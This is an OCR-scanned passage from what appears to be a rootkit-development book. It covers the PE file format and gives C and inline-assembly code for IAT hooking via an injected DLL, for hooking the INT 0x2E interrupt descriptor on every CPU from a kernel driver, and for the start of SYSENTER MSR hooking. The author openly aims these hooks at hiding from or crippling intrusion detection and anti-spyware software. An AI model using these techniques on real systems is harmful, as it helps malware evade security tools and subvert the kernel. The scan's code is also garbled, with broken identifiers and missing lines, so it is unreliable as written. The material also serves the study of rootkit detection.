Of the three techniques that we've covered to inject a DLL in another process, this is the one that I prefer. It offers a relatively high level of control and doesn't leave any artifacts in the registry.
PE File Format
Now that we've learned how to access the address space of a user-mode module, in order to hook routines we'll need to understand how it's laid out in memory so that we can locate the IATs. Both EXE (.exe) and DLL (.dll) files adhere to the same basic specification: the Microsoft portable executable (PE) file format. While Microsoft has published a formal document defining the specification, I the data structures that constitute a PE file are declared in winnt . h. In an effort to minimize the amount of work that the operating system loader must do, the structure of a module in memory is very similar to the form it has on disk.
Part II 1255
e_magic; e_cblp;
As it turns out, PE-based modules are prefixed with a DOS header and stub program (see Figure 5-4) so that if you try to run them in DOS they print out a message to the screen that says "This program cannot be run in DOS mode."
Import Directory
PE Header
Higher Addre
Figure 5-4
The fields of the structure that interest us are the first and the last. The first field of the lMAGE_DOS_HEADER structure is a magic number (ex4D5A, or "MZ" in ASCm, which identifies the file as a DOS executable and is a reference to Mark Zbikowski, the man who developed this venerable format. The last field is the relative virtual address (RVA) of the PE's file header.
IVAs
The idea of a RVA is important enough that it deserves special attention. As an alternative to hard-coding memory addresses, elements in a PE file/image are described in terms of a relative offset from a base address: RVA = linear address of element - base address of module
HMODULE
Pa rl II
Above we've used the fact that the HMODULE value returned by a function like GetModuleHandle () is essentially the load address of the PE module. Thus, given its RVA, the address of a PE file component in memory can be computed via: Linear address of PE element = HMODULE
+ RVA
The PE Header
Using the RVA supplied in the DOS header, we can locate the PE header. Programmatically speaking, it's defined by the lMAGE_NT_HEADERS structure.
typedef struct _IMAGE_NT_HEADERS
{
Signature; lIIMAGE_NT_SIGNATURE, Sx59450000, "PE\S\S" IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32 OptionalHeader; } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
rwlRD
The first field of this structure is another magic number. The second field, FileHeader, is a substructure that stores a number of basic file attributes.
typedef struct _IMAGE_FILE_HEADER
{
Machine; NumberOfSections; TimeOateStamp; rwlRD POinterToSymbolTable; rwlRD NumberOfSymbols; WORD SizeOfOptionalHeader; WORD Characteristics; } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
In this substructure there's a field named Characteristics that defines a set of binary flags. According to the PE specification, the 14th bit of this field will be set if the module represents a DLL or clear if the module is a plain-old EXE. From the standpoint of the PE spec, that's the difference between a DLL and an EXE: one bit.
Sx2aaa II File is a DLL, eelS aaaa aaaa aaaa
The OptionalHeader field in the lMAGE_NT_HEADERS32 structure is a misnomer of sorts. It should be called "MandatoryHeader." It's a structure defined as:
Port II 1257
As usual, the fields of interest are the first and the last. The first member of this structure is a magic number (set to exleB for normal executables, exle7 for ROM images, etc.). The last member is an array of 16 IMAGE_DATA_DIRECTORY structures.
OhORD VirtualAddressj II RVA of the data OhORD Sizej II Size of the data (in bytes) }IMAGE_DATA_DIRECTDRY, PIMAGE_DATA_DIRECTORYj
The 16 entries of the array can be referenced individually using integer macros.
#define IMAGE_DIRECTORY_ENTRY_EXPDRT #define IMAGE_DIRECTORY_ENTRY_IMPDRT #define IMAGE_DIRECTDRY_ENTRY_RESOURCE
e
1
2
For the sake of locating IATs, we'll employ the IMAGE_DIRECTORY_ENTRY_ IMPORT macro to identify the second element of the IMAGE_ DATA_DIRECTORY array (the import directory). The RVA in this array element specifies the location of the import directory, which is an array of structures (one for each DLL imported by the module) of type IMAGE_IMPORT_DESCRIPTOR.
typedef struct _IMAGE_IMPORT_DESCRIPTOR
{
II -1 if no forwarders II RVA of imported DLL name (null-terminated ASCII) II RVA to IAT (if bound this IAT has addresses)
The last element of the array of IMAGE_IMPORT_DESCRIPTOR structures is denoted by having its fields set to zero. There are three fields of particular importance in this structure:
2581 Portll
The RVA of the Import Lookup Table (ILT) The RVA of a null-terminated ASCII string (i.e., the DLL name) The RVA of IAT (i.e., the array of linear addresses built by the loader)
Both FirstThunk and OriginalFirstThunk point to an array of IMAGE_THUNK_DATA structures. This data structure is essentially one big union of different members. Each function that's imported by the module (i.e., at load time) will be represented by an IMAGE_THUNK_DATA structure.
typedef struct _IMAGE_THUNK_OATA32
{
union PBYTE ForwarderString; PIJIr.ORD Function; IHlRD Ordinal; PIMAGE_IMPORT_BY_NAME AddressOfData; } ul; } IMAGE_THUNK_DATA32;
But why do we need two arrays to do this? As it turns out, one array is used to store the names of the imported routines (the ILT) and the other stores the addresses of the imported routines (the IAT). Specifically, the array referenced by FirstThunk uses the ul. Function field to store the address of the imported routines. The array referenced by OriginalFirstThunk uses the IMAGE_IMPORT_ BY_NAME field, which itself has a Name field that points to the first character of the DLL routine name.
typedef struct _IMAGE_IMPORT_BY_NAME
{
There's one last twist that we'll need to watch out for: Routines imported from a DLL can be imported by function name or by their ordinal number (i.e., the routine's position in the DLCs export address table). We can tell if a routine is an ordinal import because a flag will be set in the Ordinal field of the IMAGE_THUNK_DATA structure in the ILT array.
#define IMAGE_ORDINALJLAG exseeeeeee if *thunkILT).ul.Ordinal & IMAGE_ORDINAL_FLAG)
{
//ordinal import
Port II 1259
Whew! That was quite a trip down the rabbit hole. As you can see, from the perspective of a developer, a PE file is just a heavily nested set of structures. You may be reeling from the avalanche of structure definitions. To help keep things straight, Figure 5-5 wraps everything up in a diagram.
1
IMAG E_NT_H EADERS
I
I
:-1
-
IMAGE_DATA_DIRECTORY DahDi,..ctory [ ]
IMAGE_IMPORT_DESCRIPTOR (Dll 0) Or-iginalFirstThunk DWORD Na",. DWORD firstThunk DWORD IMAG E_IMPORT_DESCRIPTOR (Dlll) Or igin.IF il"'stThunk DWORD Name DWORD Fi,..tThunk DWORD IMAGE_IMPORT_DESCRIPTOR (Dll 2) DWORD Orig in aIFir.tThun k DWORD Name DWORD FirstThun k
r
IAT
ILT
IMAGE_THUNK_DATA Pl MAG E_IHPORT_ BY_NAM E Add,..ssOfO.t.
IMAGE_llfUNK_DATA
Funct i o n
. .
IMAGE_THUN K_DATA
PDW ORD
fu nction
Figure 5-5
> Note:
260
Po rf II
The driver for this code is fairly straightforward. In a nutshell, we open a file and map it into our address space. Then we use the mapped file's base address to locate and dump its imports. When we're done, we close all of the handles that we opened.
char filename[]="C: \ \myOir\\myFile.exe" j HAI'IlLE hFilej HAI'IlLE hFileMappingj LPVOID fileBaseAddressj BOOL retValj retVal = getHMODULE(fileName, &hFile, &hFileMapping, &fileBaseAddress)j if(retVal==FALSE){ returnj } dumpImports(fileBaseAddress)j closeHandles(hFile, hFileMapping, fileBaseAddress)j
If you're interested, you can read the setup and tear-down code (getHMODULE () and closeHandles ( in the appendix. I've going to focus on the code that actually traverses the file. The routine begins by checking magic values in the DOS header, the PE header, and the optional header. This is strictly a sanity check, to make sure that we're dealing with a PE file.
void dumpImports(LPVOID baseAddress)
{
PIMAGE_DOS_HEADER dosHeaderj PIMAGE_NT_HEADERS peHeaderj IMAGE_DPTIONAL_HEADER32 IMAGE_DATA_DIRECTORY DWORD PIMAGE_IMPORT_DESCRIPTOR int indexj printf(" [dumpImports]: checking DOS signature\n") j dosHeader = (PIMAGE_DOS_HEADER)baseAddressj if(*dosHeader).e_magic)!=IMAGE_DOS_SIGNATURE){ returnj } printf("DOS signature=%X\n",(*dosHeader).e_magic)j printf("[dumpImports]: checking PE signature\n")j peHeader = (PIMAGE_NT_HEADERS)DWORD)baseAddress+(*dosHeader) .e_lfanew)j (*peHeader) .Signature)! =IMAGE_NT_SIGNATURE){ returnj } printf("PE signature=%X\n",(*peHeader).Signature)j optionalHeaderj importDirectorYj descriptorStartRVAj importDescriptorj
if
optionalHeader = (*peHeader).DptionalHeaderj ifoptionalHeader.Magic)!=0xl0B){ returnj } printf( "DptionalHeader Magic nLriler=%X\n", optionalHeader . Magic) j
Once we've performed our sanity checks, the routine locates the import directory and sets the importDescriptor pointer to reference the first
Port II 1261
II
(
element of the descriptor array (there will be one for each DLL that the PE imports).
printfC'[dumplmports]: accessing import directory\n importDirectory=(optionalHeader).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; descriptorStartRVA = importDirectory.VirtualAddress;
U );
);
if(importDescriptor==NULL)
{
U );
Above, note the call to the rvaToPtr() function. This is the caveat I mentioned earlier. Because we're dealing with a PE file in the form it takes on disk, we can't just add the RVA to the base address to locate a file component (which is exactly what we would do if the PE were a "live" module loaded in memory). Instead, we must find the file section that bounds the RVA and use information in the section's header to make a slight adjustment to the original relationship (i.e., linear address = base address + RVA). All of this extra work is encapsulated by the rvaToPtr() and getCurrentSectionHeader() procedures.
LPVOID rvaToptr(DWORD rva, PlMAGE_NT_HEADERS peHeader, DWORD baseAddress)
{
PlMAGE_SECTION_HEADER sectionHeader; INT difference; sectionHeader = getCurrentSectionHeader(rva, peHeader); if (sectionHeader==NULL){ return(NULL); } difference = (INT)*sectionHeader).VirtualAddress (*sectionHeader) .PointerToRawData); returnPVOID) baseAddress+rva)-difference); }/*end rvaToptr()- -------------------- -------------------------------- ---- -*/ PlMAGE_SECTION_HEADER getCurrentSectionHeader(DWORD rva, PlMAGE_NT_HEADERS peHeader)
{
PlMAGE_SECTION_HEADER section = lMAGE_FIRST_SECTION(peHeader); unsigned nSections; unsigned index; nSections = *peHeader).FileHeader).NumberOfSections; //locate the section header that contains the RVA (otherwise return NULL)
262
Po rt II
return section;
Now that we've squared away how the RVA-to-address code works for this special case, let's return to where we left off in the dumplmports () routine. In particular, we had initialized the importDescriptor pointer to the first element of the import directory. What this routine does next is traverse this array until it reaches an element with its fields set to zero (the array delimiter).
index=8; while(importDescriptor[index].Characteristics!=e)
{
if(dllName==NULL)
{
index++;
}
Given that each element of the import directory corresponds to a DLL, we take each entry and feed it to the processlmportDescriptor() function.
Po rl II
I 263
This will dump out the name and address of each routine that is imported from the DLL.
void processlmportDescriptor
(
PIMAGE_THUNK_DATA thunklLTj PIMAGE_THUNK_DATA thunkIATj PIMAGE_IMPORT_BY_NAME nameDataj int nFunctionsj int nOrdinalFunctionsj thunklLT = (PIMAGE_THUNK_DATA)(importDescriptor.OriginalFirstThunk)j thunkIAT = (PIMAGE_THUNK_DATA)(importDescriptor.FirstThunk)j if(thunkILT==NULL)
{
printf('"[processlmportDescriptor]: returnj
}
~ty
ILT\n'")j
if(thunkIAT==NULL)
{
printf('"[processImportDescriptor]: returnj
~ty
IAT\n'")j
thunklLT = (PIMAGE_THUNK_DATA)rvaToPtr
(
if(thunkILT==NULL)
{
printf('"[processlmportDescriptor]: returnj
~ty
ILT\n'")j
thunkIAT = (PIMAGE_THUNK_DATA)rvaToPtr
(
if(thunkIAT==NULL)
{
printf('"[processlmportDescriptor]: returnj
}
~ty
IAT\n'")j
264
Po rt II
printf("\t%s", (*nameData) . Name) j printf( "\ taddress: %08)(", thunkIAT ->ul. Function) j printf( "\n" )j else nOrdinalFunctions++j
}
> Nole:
Given the nature of DLL injection, the code that hooks the IAT will need to be initiated from the DllMain () function:
case DLL_PROCESS_ATTACH:
{
Po rt II
I 265
DBG]RINT2(" [DllMain]: PID(%d) loaded this DLL \n" ,GetCurrentProcessldO) j if(HookAPI(fptr, "GetCurrentProcessld")==FALSE)
{
Our tomfoolery begins with the HookAPI () routine, which gets the host module's base address and then uses it to parse the memory image and identify the IATs.
BOOL HookAPI(FILE *fptr, char* apiName)
{
In the event that you're wondering, the file pointer that has been fed as an argument to this routine (and other routines) is used by the debugging macros to persist tracing information to a file as an alternative to console-based output.
#define #define #define #define #define DBG_TRACE(src,msg) DBG_PRINT1(argl) DBG_PRINT2(fmt,argl) DBG_PRINT3(fmt,argl,arg2) DBG_PRINT4(fmt,argl,arg2,arg3) fprintf(fptr,"[%s]: %s\n", src, msg) fprintf(fptr,"%s", argl) fprintf(fptr,fmt, argl) fprintf(fptr,fmt, argl, arg2) fprintf(fptr,fmt, argl, arg2, arg3)
The code in walklmportLists () checks the module's magic numbers and sweeps through its import descriptors in a manner that is similar to that of the code in ReadPE . c. The difference is that now we're working with a module and not a file. Thus, we don't have to perform the fix-ups that we did the last time. Instead of calling rvaToPtrO , we can just add the RVA to the base address and be done with it.
BOOL walklmportLists(FILE *fptr, DWORD baseAddress, char* apiName)
{
PlMAGE_DDS_HEADER dosHeaderj PlMAGE_NT_HEADERS peHeaderj lMAGE_OPTIDNAL_HEADER32 optionalHeaderj lMAGE_DATA_DIRECTORY importDirectorYj DWORD descriptorStartRVAj PlMAGE_IMPORT_DESCRIPTOR importDescriptorj int indexj DBG_TRACE("walklmportLists","checking DDS signature")j dosHeader = (PlMAGE_DDS_HEADER)baseAddressj if( *dosHeader).e_magic)!=IMAGE_DDS_SIGNATURE){ return(FALSE)j } DBG_PRINT2("[walklmportLists]: DDS signature=%X\n",( *dosHeader).e_magic)j
2661 Part II
DBG_TRACE{"walkImportLists","checking PE signature"); peHeader = (PIMAGE_NT_HEADERS){{DWORD)baseAddress + (*dosHeader).e_lfanew); if{{{*peHeader).Signature)!=IMAGE_NT_SIGNATURE){ return{FALSE); } DBG_PRINT2{"[walkImportLists) : PE signature=%X\n",{*peHeader).Signature); DBG_TRACE{"walkImportLists","checking OptionHeader magic number"); optionalHeader = (*peHeader).OptionalHeader; if{{optionalHeader.Magic)l=0xl9B){ return{FALSE); } DBG_PRINT2{"[walkImportLists): Magic #=%X\n",optionalHeader.Magic); DBG_TRACE{"walkImportLists","accessing import directory"); importDirectory = (optionalHeader).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT); descriptorStartRVA = importDirectory.VirtualAddress; importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) (descriptorStartRVA + (DWORD)baseAddress); index=0; while{importDescriptor[index).Characteristicsl=0)
{
else
{
DBG_PRINT3{"\n[walkImportLists):Imported DLL[%d)\t%s\n",index,dllName);
}
DBG_PRINT1{" - -- -- -- -- -- --- -- -- --- -- --- -- -- --- - --- -- --- -- -- --- - -\n"); processImportDescriptor
(
We look at each import descriptor to see which routines are imported from the corresponding DLL. There's a bunch of code to check for empty ILTs and IATs, but the meat of the function is located near the end. We compare the names in the descriptor's ILT against the name of the function that we want to supplant. If we find a match, we swap in the address of a hook routine. Keep in mind that this technique doesn't work if the routine we
Pa rt II
I 267
wish to hook has been imported as an ordinal, or if the program is using run-time linking.
void processImportDescriptor
(
FILE *fptr, IMAGE_IMPORT_DESCRIPTOR importDescriptor, PIMAGE_NT_HEADERS peHeader, DWDRO baseAddress, char* apiName
PIMAGE_THUNK_DATA thunkILT; PIMAGE_THUNK_DATA thunkIAT; PIMAGE_IMPORT_BY_NAME nameData; int nFunctions; int nOrdinalFunctions; DWORD (WINAPI *procptr)(); thunkILT = (PIMAGE_THUNK_DATA)(importDescriptor.OriginalFirstThunk); thunkIAT = (PIMAGE_THUNK_DATA)(importDescriptor.FirstThunk); if(thunkILT==NULL)
{
if(thunkIAT==NULL)
{
268
Po rt II
DBG]RINT1("[processlmportDescriptor):\t"); nameData = (PlMAGE_IMPORT_BY_NAME)( (*thunkIL T) .ul.AddressOfData); nameData = (PlMAGE_IMPORT_BY_NAME)DWORD)nameData + baseAddress); DBG_PRINT2( "\t%s" ,( *nameData).Name); DBG_PRINT2( "\taddress : %e8X", thunkIAT ->ul. Function); DBG_PRINT1( "\n" ); if(strcmp(apiName,(char*)(*nameData).Name)==0)
{
else nOrdinalFunctions++; thunkILT++; thunkIAT++; nFunctions++; DBG]RINT3("%d functions (%d ordinal)\n", nFunctions, nOrdinalFunctions); return; }/*end processlmportDescriptor()- ----------------------------- ------------- */
In the remainder of this section, we look at each of these call tables in turn and demonstrate how to hook their entries. In a general sense, hooking call tables in kernel space is a more powerful approach than hooking the 1AT. This is because kernel-space constructs play a fundamental role in the day-to-day operation of the system as a whole. Modifying a call table like the IDT or the SSDT has the potential to incur far-reaching consequences that affect every active process on the machine, not just a single application. In addition, hooks that execute in kernel space run as Ring 0 code, giving them the privileges required to take whatever measures they need to in order to hide from, or cripple, security software.
Port II
I 269
The problem with hooking call tables in kernel space is that you have to work in an environment that's much more sensitive to errors and doesn't provide access to the Windows API. In kernel space, all it usually takes to generate a bug check is one misdirected pointer. There's a very small margin for error, so save your work frequently and be prepared to run into a few blue screens during development.
//--------------------------
//Bits[00,15] offset address bits [8,15] //Bits[16,31] segment selector (value placed in CS) not used these three bits should all be zero Interrupt (81118), Trap (81111) DPL - descriptor privilege level Segment present flag (normally set) offset address bits [16,31]
//----- --- -----------------BYTE unused:5; //Bits[00,94] BYTE zeroes:3; //Bits[85,87] BYTE gateType:5; //Bits[B8,12] BYTE DPL:2; //Bits[13,14] BYTE P:1; //Bits[15,15] WORD offset16_31; //Bits[16,32] }IDT_DESCRIPTOR, *PIDT_DESCRIPTOR; #pragma packO
In the context of the C programming language, bit field space is allocated from least-significant bit to most-significant bit. Thus, you can visualize the binary elements of the 64-bit descriptor as starting at the first line and moving downward towards the bottom. The #pragma directives that surround the declaration guarantee that the structure's members will be aligned on a I-byte boundary. In other words, everything will be crammed into the minimum amount of space and there will be no extra padding to satisfy alignment requirements. The selector field specifies a particular segment descriptor in the GDT. This segment descriptor stores the base address of a memory segment. The 32-bit offset formed by the sum of offsetee_15 and offset16_31 fields will be added to this base address to identify the linear address of the routine that handles the interrupt corresponding to the IDT_DESCRIPTOR.
270
Part II
Because Windows uses a flat memory model, there's really only one segment (it starts at exeeeeeeee and ends at eXFFFFFFFF). Thus, to hook an interrupt handler all we need to do is change the offset fields of the IDT descriptor to point to the routine of our choosing. To hook an interrupt handler, the first thing we need to do is find out where the IDT is located in memory. This leads us back to the system registers we met in Chapter 2. The linear base address of the IDT and its size limit (in bytes) are stored in the IDTR register. This special system register is 6 bytes in size and its contents can be stored in memory using the following structure:
#pragma pack(l) typedef struct _IDTR
{
//Bits[ee,lS] size limit (in bytes) //Bits[16,31] lo-order bytes of base address //Bits[32,47] hi-order bytes of base address
Manipulating the contents of the IDTR register is the purview of the SIDT and LIDT machine instructions. The SIDT instruction (as in "store IDTR") copies the value of the IDTR into a 48-bit slot in memory whose address is given as an operand to the instruction. The LIDT instruction (as in "load IDTR") performs the inverse operation. LIDT copies a 48-bit value from memory into the IDTR register. The LIDT instruction is a privileged Ring 0 instruction and the SIDT instruction is not.
> Nole:
We can use the C-based IDTR structure, defined above, to receive the IDTR value recovered via the SIDT instruction. This information can be employed to traverse the IDT array and locate the descriptor that we wish to modify. We can also populate an IDTR structure and feed it as an operand to the LIDT instruction to set the contents of the IDTR register.
Part II 1271
that functions only part of the time, possibly leading the system to become unstable. To deal with this issue, one solution is to launch threads continually in an infinite while loop until the thread that hooks the interrupt has run on all processors. This is a brute force approach, but it does work. For readers whose sensibilities are offended by the ungainly kludge, I utilize a more elegant technique to do the same sort of thing with SYSENTER MSRs later on. The following code, which is intended to be invoked inside a KMD, kicks off the process of hooking the system service interrupt (i.e., INT ax2E) for every processor on a machine. Sure, there are plenty of interrupts that we could hook. It's just that the role the ax2E interrupt plays on older machines as the system call gate makes it a particularly interesting target. Modifying the following code to hook other interrupts should not be too difficult.
void HookAllCPUs()
{
HANDLE threadHandle; lOTR idtr; PIDT_DESCRIPTOR idt; nProcessors = KeNumberProcessors; DBG_PRINT2(" [HookAllCPUs) : Attempting to hook %u CPUs\n",nProcessors); DBG_TRACEC"HookAllCPUs","Accessing 48-bit value in lOTR"); _asm
cli;
idt[SYSTEM_SERVICE_VECTOR).offset16_31, idt[SYSTEM_SERVICE_VECTOR).offset0e_15
);
DBG_PRINT2("[HookAllCPUs):nt!KiSystemService at address=%x\n", oldISRptr); threadHandle = NUll; nlOTHooked = Il; DBG_TRACEC"HookAllCPUs", "Keeping launching threads until we patch every lOT"); KelnitializeEvent(&syncEvent,SynchronizationEvent,FAlSE); while(TRUE)
{
PsCreateSystemThread
(
2721
Port II
//wait until thread we just launched signals that it's done KewaitForSingleObject
(
if(nIOTHooked==nProcessors){ break; } KeSetEvent(&syncEvent,9,FALSE); DBG_PRINT2("[HookAllCPUs): nunber of lOTs hooked =%x\n", nIOTHooked); DBG_TRACE("HookAllCPUs","Done patching all lOTs"); return; }/*end HookAllCPUs()---------------------------------------- ---- ---- -------*/
In the previous listing, the makeDWORD() function takes two 16-bit words and merges them into a 32-bit double word. For example, given a high-order word ex1234 and a low-order word exaabb, this function returns the value ex1234aabb. This is useful for taking the two offset fields in an IDT descriptor and creating an offset address.
lWlRO makeGllRD(1o.ORD hi, Io.ORD 10)
{
DW:lRO value; value = 9; value = value : (lWlRO)hi; value = value 16; value = value : (lWlRO)lo; return (value); }/*end makeGllRD()- --- -------------------------- - ---- ----- -------------- ---*/
The threads that we launch all run a routine named Hooklnt2E (). This function begins by using the SIDT instruction to examine the value of interrupt ex2E. If this interrupt stores the address of the hook function, then we know that the hook has already been installed for the current processor and we terminate the thread. Otherwise, we can hook the interrupt by replacing the offset address in the descriptor with our own, increment the number of processors that have been hooked, and then terminate the thread. The only tricky part to this routine is the act of installing the hook (take a look at Figure 5-6 to help clarify this procedure). We start by loading the linear address of the hook routine into the EAX register and the linear address of
Port II 1273
II
the eJx2E interrupt descriptor into the EBX register. Thus, the EBX routine points to the 64-bit interrupt descriptor. Next, we load the low-order word in EAX (i.e., the real-mode AX register) into the value pointed to by EBX. Then we shift the address in EAX 16 bits to the right and load that into the seventh and eighth bytes of the descriptor.
lea eax,KiSystem5ervi C eHook; movebx,int2eDes criptor;
EAX =
Hi - 2 I Hi - l I LO.2 1 Lo - l
EBX .....JL.....----L._...L..-----L_--L-_L...----L._-'-----'
mov [ebx], ax;
EAX =
Hi . 2 1 Hi - l I LO . 2 1 Lo - l
EAX=
L..I
_ . . . L -_ _
EBX .....J Hi . 2 1 Hi - 1
I LO.2 1 LO-l I
Figure 5-6
So what we've done, in effect, is to split the address of the hook function and store it in the first and last word of the interrupt descriptor. If you'Ulook at the definition of the !DT_DESCRIPTOR structure, these are the two address offset fields .
void HookInt2E()
{
IDTR idtr; PIDT_DESCRIPTOR idt; PIDT_DESCRIPTOR int2eDeseriptor; IJ.o.ORD addressISR; DBG_PRINT2("[HookInt2E]: Running on CPU[%u]\n",KeGetCurrentProeessorNumber(; DBG_TRACE("'HookInt2E","Aeeessing 48-bit value in IDTR"); _asm
eli; sidt idtr; sti;
274
Po r' II
DBG]RINT2("[Hooklnt2E]: IDT[0x2E] originally at address=%x\n", addressISR); int2eDescriptor = &(idt[SYSTEM_SERVICE_VECTOR]); DBG_TRACE (,'Hooklnt2E" , "Hooking lOT [ 0x2E] " ) ;
eli; lea eax,KiSystemServiceHook; mov ebx,int2eDescriptor; mov [ebx],ax; shr eax,16; mov [ebx+6],ax; lidt idtr; sti; DBG_PRINT2(""[Hooklnt2E]: IDT[0x2E] now at %x\n",(DWORD)KiSystemServiceHook); DBG_PRINT2(" [Hooklnt2E]: Hooked on CPU[%u] \n", KeGetCurrentProcessorNumberO); nIDTHooked++; KeSetEvent(&syncEvent,0,FALSE); PsTerminateSystemThread(0); return; }/*end Hooklnt2E()---------------------------------------------------------*/
The hook routine that we use is a "naked" function named KiSystemServiceHook(). Given that this function is hooking KiSystemService() , the name seems appropriate. This function logs the dispatch ID and the usermode stack pointer, and then calls the original interrupt handler.
_ deelspec(naked) KiSystemServiceHook()
{
pushad //PUSH EAX, EO<, EDX, EBX, ESP, EBP, ESI, EDI pushfd //PUSH EFLAGS
Po rt II
I 275
11--------------II now we pop everything that we pushed pop es pop ds pop fs popfd llPOP EFLAGS popad llPOP EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI
jmp oldISRptr;
Naked Routines
The first thing you may notice is the "naked" storage class attribute. Normally, a C compiler will generate assembly code instructions at both the beginning and the end of a routine to manage local storage on the stack, return values, and access function arguments. In the case of system-level programming, there may be special calling conventions that you need to abide by. The compiler's prologue and epilogue assembly code can interfere with this. For example, consider the following routine:
void myRoutine(){ return; }
It does absolutely nothing, yet the compiler still emits prologue and epilogue assembly code:
_TEXT SEGoIENT _myRoutine PROC /lprologue code-----push ebp /I save ebp mov ebp, esp Ilebp becomes the temporary stack pointer Ilepilogue code-----pop ebp llrecover ebp ret e _myRoutine E~ _TEXT HDS
276
Pa rt II
We can redefine this routine as naked. Though, we'll have to omit the return statement and include an arbitrary assembler instruction so that the function exists as a non-empty construct with an address.
__declspec(naked) myRoutine()
{
inc eax
}
The end result is that the compiler omits the epilogue and the prologue.
_TEXT SEGMENT
You may be wondering how I knew that the dispatch ID was in the EAX register and the stack pointer was in the EDX register. If you crank up Cdb. exe and trace through a well-known system call, like ZWOpenFile(), you'll see that this is where these values are placed:
0:ee0> u ntdll!ZwDpenFile ntdll!NtOpenFile: 779587e8 b8baeeeeee mov 779587ed baee03fe7f mov 779587f2 ff12 call 779587f4 c21800 ret 779587f7 90 nop
eax,08ah j Dispatch 1D placed here edx,offset SystemCallStub (7ffe0300) dword ptr [edx] 18h
0:ee0> dps 7ffe0300 7ffe0300 77959a90 ntdll!KiFastSystemCall ntdll!Ki1ntSystemCall : 77959aa0 8d542408 77959aa4 cd2e 77959aa6 c3 77959aa7 90
edx,[esp+8] 2Eh
The LogSystemCall() function prints a brief diagnostic message to the screen. There are three calling convention modes that Microsoft supports when targeting the IA-32 processor with C code (STDCALL, FASTCALL, and CDECL). The LogSystemCall () procedure obeys the CDECL calling convention, which is the default. This calling convention pushes parameters onto the stack from right to left, which explains why we push the EDX register on the stack first.
Part II 1277
DbgPrint
(
"[RegisterSystemCall]: on CPU[%u] of %u, (%s, pid=%u, dispatchID=%x) \n" , KeGetCurrentProcessorNumber(), KeNumberProcessors, (BYTE *)PsGetCurrentProcess()+9x14c, PsGetCurrentProcessld(), dispatched
);
One, somewhat subtle, hack that we had to perform within LogSyst emCallO involved getting the name of the invoking process. We recovered it manually using the EPROCESS structure associated with the process. You can use a kernel debugger to examine the structure of this object. If you do, you'll notice that the field at offset ex14C is a 16-byte array storing the name of the module.
Kd> dt nt!_EPRDCESS +9x14c lmageFileName : [16] UChar
To get the address of the EPROCESS block programmatically, we can use the PsGetCurrentPr ocess() function. The WDK online help is notably tight-lipped when it comes to describing what this function returns (referring to EPROCESS as "an opaque process object"). Microsoft has good reason not to tell you anything more than it must. The EPROCESS structures that the system maintains can be tweaked to hide all sorts of things. Unhooking is essentially the inverse of hooking. The address of the old interrupt handler is swapped into the appropriate IDT descriptor to replace the current address. You can peruse the complete listing in the appendix to walk through the source code for unhooking.
278
Po rt "
First and foremost, the interrupt hook code is a pass-through function . The path of execution simply waltzes through like a bored tourist, never to return. If you look at our interrupt hook you should notice that the last instruction is a jump. There's nothing after the jump instruction, and we didn't push a return address on the stack so that program control can return to the hook routine after the jump has been executed. This prevents us from filtering the output of existing interrupt handlers, which is unfortunate because output filtering is a truly effective way to hide things. With interrupt hooks, the best that we can hope to achieve is to stymie our enemies (e.g., intrusion detection or anti-spyware software) by blocking their system calls. It shouldn't take much to modify the LogSystemCall () routine so that it allows you to filter the system calls made by certain programs. Another limitation inherent to hooking an interrupt like ax2E is that almost nobody is using it anymore. When it comes to Windows, most people are on a machine that uses a Pentium 4 or later. Current hardware uses the SYSENTER instruction in conjunction with a set of MSRs to jump through the system call gate. In this case, hooking INT ax2E is like throwing a huge party that no one comes to. Sigh. Hooking interrupts is also a major pain because the function arguments in the hook handler must be extracted using the stack pointer in EDX. You literally have to look at the system call stub in ntdll. dll and work backwards to discover the layout of the stack frame. This is a tedious, error-prone approach that offers a low return on investment. Finally, it's fairly simple matter to see if someone has hooked the IDT. Normally, the IDT descriptor for the ax2E interrupt references a function (i.e., KiSystemService( that resides in the memory image of ntoskrnl. exe. If the offset address in the descriptor for INT ax2E is a value that resides outside the range for the ntoskrnl. exe module, then it's pretty obvious that something is amiss.
Po rt II
I 279
II
Tobie 52
R egister Address
9x174 9x176 9x175
D escription Stores the 16bit selector of the Ring 0 code segment Stores the 32bit offset into a Ring 0 code segment Stores the 32bit stack painter for a Ring 0 stack
In case you're wondering, the "address" of an MSR isn't its location in memory. Rather, think of it more as a unique identifier. When the SYSENTER instruction is invoked, the processor takes the following actions in the order listed: L 2. 3. 4. 5. 6. 7. Load the selector stored in the IA32_SYSENTER_CS MSR into CS. Load the offset address stored in the IA32_SYSENTER_EIP MSR into EIP. Load the contents of IA32_SYSENTER_CS+8 into 55. Load the stack pointer stored by the IA32_SYSENTER_ESP MSR into ESP. Switch to Ring 0 privilege. Clear the VM flag in EFLAGS (if it's set). Start executing the code at CS: EIP.
This switch to Ring 0 is "fast" in that it's no frills. None of the setup that we saw with interrupts is performed. For instance, no user-mode state information is saved because SYSENTER doesn't support passing parameters on the stack. As far as hooking is concerned, our primary target is IA32_SYSENTER_EIP. Given we're working with a flat memory model, the other two MSRs can remain unchanged. We'll use the following structure to store and load the 64-bit IA32_SYSENTER_EIP MSR:
typedef struct _MSR
{
MlRD loValue; MlRD hiValue;
}MSR, *PMSR;
Our campaign to hook SYSENTER begins with a function of the same name. This function really does nothing more than create a thread that calls the HookAllCPUs (). Once the thread is created, it waits for the thread to terminate and then closes up shop; pretty simple.
280
Part"
>[ Note:
{
void HookSYSENTER(DWORD procAddress) HANDLE hThread; OBJECT_ATTRIBUTES initializedAttributes; PKTHREAD pkThread; LARGE_INTEGER timeout; InitializeObjectAttributes
(
&initializedAttributes, flOUT POBJECT_ATTRIBUTES //InitializedAttributes //IN PUNICODE_STRING ObjectName NULL, //IN ULONG Attributes e, //IN HANDLE RootDirectory NULL, //IN PSECURITY_DESCRIPTOR SecurityOescriptor NULL
);
PsCreateSystemThread
(
/ lOUT PHANDLE ThreadHandle //IN ULONG DesiredAccess //IN POBJECT_ATTRIBUTES ObjectAttr //IN HANDLE ProcessHandle OPTIONAL //OUT PCLIENT_ID ClientId OPTIONAL //IN PKSTART_ROUTINE StartRoutine //IN PVOID StartContext
ObReferenceObjectByHandle
(
